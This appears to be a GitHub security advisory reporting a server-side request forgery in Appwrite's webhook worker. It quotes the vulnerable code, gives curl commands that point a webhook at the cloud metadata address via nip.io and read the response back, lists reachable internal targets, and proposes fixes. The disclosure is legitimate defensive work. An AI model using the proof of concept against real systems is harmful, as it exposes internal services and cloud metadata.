Skip to content

SSRF via Webhook Worker - PublicDomain validator is TLD-only, no delivery-time IP filter, response readable via GET /v1/webhooks/:id (CWE-918) #11845

@Proscan-one

Description

@Proscan-one

SSRF via Webhook Worker — PublicDomain validator is TLD-only, no delivery-time IP filter, error-response body is readable via GET /v1/webhooks/:id

Project: Appwrite
Commit reviewed: 53a114e (main)
Severity: Medium / High (context-dependent — CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L — 8.2 when the target environment exposes sensitive internal HTTP services; lower when isolated)
CWE: CWE-918 — Server-Side Request Forgery
Report By: ProScan AppSec (https://proscan.one)
Date: 2026-04-09


I was walking Appwrite's webhook plumbing to see whether the URL the worker actually hits could be steered outside http(s)://public-domain/…. The save-time validator on the url field in POST /v1/webhooks looked convincing at first glance — it's a Multiple composition of URL(['http','https']) and PublicDomain. The scheme-only check is fine on its own. The piece that surprised me is what PublicDomain actually does.

The validator doesn't do what the name suggests

src/Appwrite/Platform/Modules/Webhooks/Http/Webhooks/Create.php:64

->param('url', '', fn () => new Multiple([new URL(['http', 'https']), new PublicDomain()], Multiple::TYPE_STRING), 'Webhook URL.')

PublicDomain comes from utopia-php/domains (src/Domains/Validator/PublicDomain.php). Its isValid routes through Domain::isKnown(), and isKnown() is:

public function isKnown(): bool
{
    if (\array_key_exists($this->getRule(), self::$list)) {
        return true;
    }
    return false;
}

That's a lookup against a public suffix list. It confirms the domain has a known TLD, nothing more. No gethostbyname, no filter_var(..., FILTER_FLAG_NO_PRIV_RANGE), no IP range comparison — nothing about resolution. So any hostname under a recognized TLD passes: 169-254-169-254.nip.io, 100-100-100-200.sslip.io, metadata.attacker.com, or even a domain whose A record you control and flip to 127.0.0.1 after the webhook is saved.

In other words, the save-time gate blocks file://, gopher://, and raw IP literals — but not the real SSRF surface.

The worker has no delivery-time IP filter

src/Appwrite/Platform/Workers/Webhooks.php:96-152

$url = \rawurldecode($webhook->getAttribute('url'));
// ... signature computed from url + payload ...
$ch = \curl_init($webhook->getAttribute('url'));

\curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
\curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
\curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
\curl_setopt($ch, CURLOPT_TIMEOUT, 15);
\curl_setopt($ch, CURLOPT_MAXFILESIZE, self::MAX_FILE_SIZE);
// ... headers ...
\curl_setopt($ch, CURLOPT_MAXREDIRS, 5);

if (!$webhook->getAttribute('security', true)) {
    \curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    \curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
}
// ...
$responseBody = \curl_exec($ch);

What isn't there matters as much as what is:

  • No CURLOPT_PROTOCOLS / CURLOPT_REDIR_PROTOCOLS. The save-time validator enforces http(s) in the initial URL, but CURLOPT_MAXREDIRS=5 lets the server follow up to five redirects. If curl is built with the full protocol set (the default on most distros), a redirect to gopher://, dict://, ldap://, or file:// would be honoured at the redirect step.
  • No private-IP check anywhere in the worker. curl performs a fresh DNS resolution at delivery time; whatever IP comes back is what it connects to.
  • No webhook.url re-validation between save and delivery. A domain whose A record pointed to a public IP at save time can point at 169.254.169.254, 127.0.0.1, or an internal RFC1918 address by the time the queue worker fires.
  • security=false disables TLS verification, letting the attacker MitM their own DNS-resolved target or present a self-signed cert for internal HTTPS services.

I grepped the worker and the rest of src/Appwrite/Platform/Workers/ for isPrivate, FILTER_FLAG_NO_PRIV, BLOCK_PRIVATE, or any delivery-time filter, and it isn't there. The chain is:

  1. POST /v1/webhooks — URL passes scheme-check + TLD-check. No resolution.
  2. Webhook document persists with the raw URL.
  3. Queue worker picks up the job, calls curl_init(webhook.url), follows redirects, and writes the response body into the webhook's logs attribute on failure.

The loop closes — the response is readable

If the call errors (status ≥ 400 or curl error), the response body is persisted:

src/Appwrite/Platform/Workers/Webhooks.php:154-173

if (!empty($curlError) || $statusCode >= 400) {
    // ...
    $logs .= 'URL: ' . $webhook->getAttribute('url') . "\n";
    $logs .= 'Method: ' . 'POST' . "\n";

    if (!empty($curlError)) {
        $logs .= 'CURL Error: ' . $curlError . "\n";
    } else {
        $logs .= 'Status code: ' . $statusCode . "\n";
        $logs .= 'Body: ' . "\n" . \mb_strcut($responseBody, 0, 10000) . "\n"; // Limit to 10kb
    }

    $webhook->setAttribute('logs', $logs);
    $updatePayload = ['logs' => $logs];
    // ...
    $dbForPlatform->updateDocument('webhooks', $webhook->getId(), new Document($updatePayload));

And the logs attribute is exposed in the Webhook response model:

src/Appwrite/Utopia/Response/Model/Webhook.php:83-85

->addRule('logs', [
    'type' => self::TYPE_STRING,
    'description' => 'Webhook error logs from the most recent failure.',

…which is returned by GET /v1/webhooks/:webhookId (src/Appwrite/Platform/Modules/Webhooks/Http/Webhooks/Get.php). Same project scope, same auth (ADMIN or KEY). So the attacker who created the webhook reads the response body they induced by reading their own webhook back.

That's the closed loop: blind SSRF becomes readable SSRF for any target that returns a 4xx/5xx status. Error pages from internal services are a surprisingly rich source — stack traces, hostnames, version banners, 401 realm strings, Elasticsearch cluster names, Redis protocol errors over HTTP, and so on.

What an attacker can reach

The auth required is webhooks.write with AuthType::ADMIN | AuthType::KEY, which in cloud Appwrite is the project owner / any developer with a project API key, and in self-hosted is a project admin. That's a low bar — the kind of user you'd expect a multi-tenant BaaS to defend against.

With that access:

  • Cloud metadata endpoints. AWS IMDSv1 (169.254.169.254/latest/meta-data/…) returns errors for non-existent paths which get captured. IMDSv2 token fetching requires PUT and typically blocks this path on modern EC2, but GCP's metadata.google.internal (with the required header caveat) and Azure's IMDS are reachable. GCP especially: the legacy v1 endpoints still answer on 169.254.169.254 for many field queries. On self-hosted Appwrite deployments in cloud VPCs, this is usually still a live path.
  • RFC1918 internal services. Anything the Appwrite worker can reach on 10/8, 172.16/12, 192.168/16 is fair game: internal admin panels, monitoring dashboards, unauthenticated Redis/Elasticsearch/etcd HTTP interfaces, CI servers, vault UIs. A 4xx from any of these confirms existence and leaks server banners.
  • Loopback services. 127.0.0.1-bound tooling on the Appwrite host — health check endpoints, queue dashboards, sidecars, PHP-FPM status pages if exposed.
  • IPv6 parity. ::1, fd00::/8, and link-local fe80::/10 aren't filtered either.
  • Blind-SSRF side effects. Even when the response doesn't reach the log (status 2xx), the POST body ($payload, signed with HMAC using the webhook's signatureKey) is delivered. Any GET-or-POST-triggerable action on an internal service runs.

The primitive isn't "steal AWS credentials in one request" on most modern EC2 setups — IMDSv2 blunts the worst-case against AWS. But it is a real read-your-internal-error-pages SSRF for everything inside the worker's network position, and it's reachable by a developer-tier account.

Reproducing it

Against a local Appwrite running the reviewed commit, authenticated as a project developer:

# 1. Create the webhook. URL has a public TLD (`nip.io`) so PublicDomain passes.
#    The hostname resolves to 169.254.169.254 via nip.io's A-record scheme.
curl -X POST "$APPWRITE/v1/webhooks" \
  -H "X-Appwrite-Project: $PROJECT" \
  -H "X-Appwrite-Key: $KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "webhookId": "ssrf-poc",
    "url": "http://169-254-169-254.nip.io/latest/meta-data/iam/security-credentials/nonexistent",
    "name": "poc",
    "events": ["users.*.create"],
    "enabled": true,
    "security": false
  }'
  • The validator passes because nip.io is in the public suffix list.
  • Trigger any event that matches users.*.create — create a user in the project.
  • The worker fires. 169-254-169-254.nip.io resolves to 169.254.169.254. The response is a 404, captured into logs.
  • Read the log:
curl "$APPWRITE/v1/webhooks/ssrf-poc" \
  -H "X-Appwrite-Project: $PROJECT" \
  -H "X-Appwrite-Key: $KEY"

The logs field of the returned Webhook document contains the IMDS 404 body (which on AWS metadata includes the valid path list, reinforcing the probe's success).

Swap the URL for any internal target to verify. For scanning, chain multiple webhooks and iterate paths in the URL.

I did not run this end-to-end against a live instance — this is source review plus dependency source review of utopia-php/domains. The call graph from Create.php to Workers/Webhooks.php is short and direct, and the PublicDomain quote above is verbatim from the library at commit master of utopia-php/domains at review time.

Suggested fix

Three layers, ordered by how hard each one is to skip.

1. Delivery-time IP filter in the worker. Before curl_exec, resolve the hostname explicitly and reject loopback / RFC1918 / link-local / CGNAT / IPv6-ULA. The minimal snippet:

// src/Appwrite/Platform/Workers/Webhooks.php — before curl_init
$parsed = \parse_url($webhook->getAttribute('url'));
if (!isset($parsed['host'])) {
    // log + bail out
    return;
}
$ips = @\gethostbynamel($parsed['host']) ?: [];
foreach ($ips as $ip) {
    if (!\filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        throw new Exception(Exception::WEBHOOK_URL_BLOCKED, 'Refusing to reach private IP ' . $ip);
    }
}

This can still TOCTOU against a second DNS resolution by curl — to close that, pass CURLOPT_RESOLVE with the IP you just validated, so curl uses the exact address you checked:

\curl_setopt($ch, CURLOPT_RESOLVE, [$parsed['host'] . ':' . ($parsed['port'] ?? 443) . ':' . $ips[0]]);

Combined, this removes both the DNS-rebinding and the "A-record to private IP" paths.

2. Restrict curl's protocol set on every hop.

\curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
\curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

The save-time URL validator already mandates http/https, but redirects can currently change that. These two options stop curl from ever following a redirect to a non-HTTP(S) protocol, closing the Location: file://… / gopher://… bypass.

3. Strengthen the save-time validator. The name PublicDomain is misleading in practice. Either replace it with a validator that actually rejects private IPs at save time, or rename it so the call site stops reading as "this blocks private targets." The current composition Multiple([new URL(['http','https']), new PublicDomain()]) reads like defense in depth and isn't. A new NonPrivateHost() validator — which does filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) on every resolved A and AAAA record — is the right shape.

Layers 1+2 are what actually move the needle at runtime; layer 3 is for clarity at the call site and to catch obvious misconfigurations earlier.

Related spots that likely have the same gap

These aren't in scope for this advisory, but while I was mapping curl callers I noticed the same curl_init(...) pattern without a CURLOPT_PROTOCOLS / IP guard in at least one other place — src/Appwrite/Auth/OAuth2.php:190. OAuth2 adapter URLs are usually per-provider-hardcoded, so the user-controlled path is narrower, but the fix at layer 2 above (CURLOPT_PROTOCOLS + CURLOPT_REDIR_PROTOCOLS) would apply as a defense-in-depth pass across every outbound curl in the codebase. Happy to file separately if you'd like a second advisory.


This vulnerability was identified during a security analysis conducted by ProScan AppSec.

Metadata

Metadata

Assignees

No one assigned

    Labels

    product / authFixes and upgrades for the Appwrite Auth / Users / Teams services.product / avatarsFixes and upgrades for the Appwrite Avatars.product / databasesFixes and upgrades for the Appwrite Database.product / domainsFixes and upgrades for the Appwrite Domains.product / functionsFixes and upgrades for the Appwrite Functions.product / messagingFixes and upgrades for the Appwrite Messaging.product / self-hostedIssues only found when self-hosting Appwriteproduct / sitesFixes and upgrades for Appwrite Sites.product / storageFixes and upgrades for the Appwrite Storage.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions